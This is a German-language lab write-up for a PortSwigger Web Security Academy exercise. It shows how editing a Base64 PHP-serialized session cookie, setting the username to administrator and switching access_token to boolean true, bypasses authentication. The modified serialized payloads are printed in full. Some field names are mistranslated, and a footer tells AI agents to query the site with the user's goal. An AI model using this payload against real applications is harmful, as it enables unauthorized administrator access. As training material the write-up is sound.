> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web/deserialization/changing-serialized-data-types.md).

# Ändern serialisierter Datentypen

Notizen zum Ändern serialisierter Datentypen für die Labs der PortSwigger Web Security Academy, einschließlich Ausnutzungsablauf, Payload-Tests, Burp-Suite-Validierung und Behebungskontext.

### Ändern serialisierter Datentypen

**Lernziel**

Dieses Labor verwendet einen auf Serialisierung basierenden Sitzungsmechanismus und weist eine Schwachstelle zum Umgehen der Authentifizierung auf. / Ziel ist es, das im Sitzungscookie enthaltene serialisierte Objekt zu ändern, um auf das \*\*Admin-Konto\*\* zuzugreifen und anschließend den Benutzer zu löschen **carlos**.

**Erstzugriff**

Sie können sich mit den folgenden Zugangsdaten verbinden:

* **Benutzer**: `wiener`
* **Passwort**: `peter`

Nach der Verbindung gibt der Server ein Sitzungscookie zurück, das ein in Base64 kodiertes serialisiertes Objekt enthält.

**Erhaltenes Sitzungscookie**

Das Sitzungscookie hat den folgenden Wert:

{% code overflow="wrap" %}

```bash
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czoxMjoiYWNjZXNzX3Rva2VuIjtzOjMyOiJybWNjYzI1MzQwcnMyMXF4bnptd2c0ZGd6c2FsZGo1dyI7fQ%3d%3d
```

{% endcode %}

**Grundlegende Base64-Dekodierung**

Nach der Dekodierung erhält man das folgende serialisierte PHP-Objekt:

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

Dieses Objekt stellt eine Instanz der `Benutzer` Klasse mit zwei Eigenschaften dar:

* `Benutzername`
* `access_token`

**Verhaltensanalyse**

* Wenn eine `access_token` Wenn das Zeichen geändert wird, gibt der Server einen Fehler zurück, was darauf hinweist, dass dieses Feld normalerweise validiert wird.
* Das `Benutzername` Das Feld wird verwendet, um die Rolle des Benutzers zu bestimmen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e740fb5c063aaaa92ae962ccbce3b8d18395d477%2F%7B7358AF57-3D07-416F-A880-A933259662B2%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Ausnutzung der Schwachstelle**

**Geänderter Benutzername**/ Der Wert von `Benutzername` wird ersetzt durch `administrator` durch korrektes Anpassen der Länge der Zeichenkette (`s:13`).

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";s:32:"rmccc25340rs21qxnzmwg4dgzsaldj5w";}%3d%3d
```

{% endcode %}

**Änderung des Datentyps des Tokens**/ Anstatt einen Zeichenketten- `access_token` (`String`), wird sein Typ zu Boolean geändert (`b:1`, entsprechend `true`).

Finales serialisiertes Objekt:

{% code overflow="wrap" %}

```json
O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";b:1;}%3d%3d
```

{% endcode %}

Nach dem erneuten Kodieren in Base64 und dem Einfügen in das Sitzungscookie akzeptiert der Server das Objekt, ohne den Tokentyp korrekt zu überprüfen.

Die Anwendung betrachtet die Sitzung dann als gültig für den Benutzer **administrator**.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d1bf20d106165a7c30a5e5fec24db2c6c5e80c1b%2F%7B3BDF9086-E532-42FC-AE75-6E1FB6A1F6CA%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/web/deserialization/changing-serialized-data-types.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
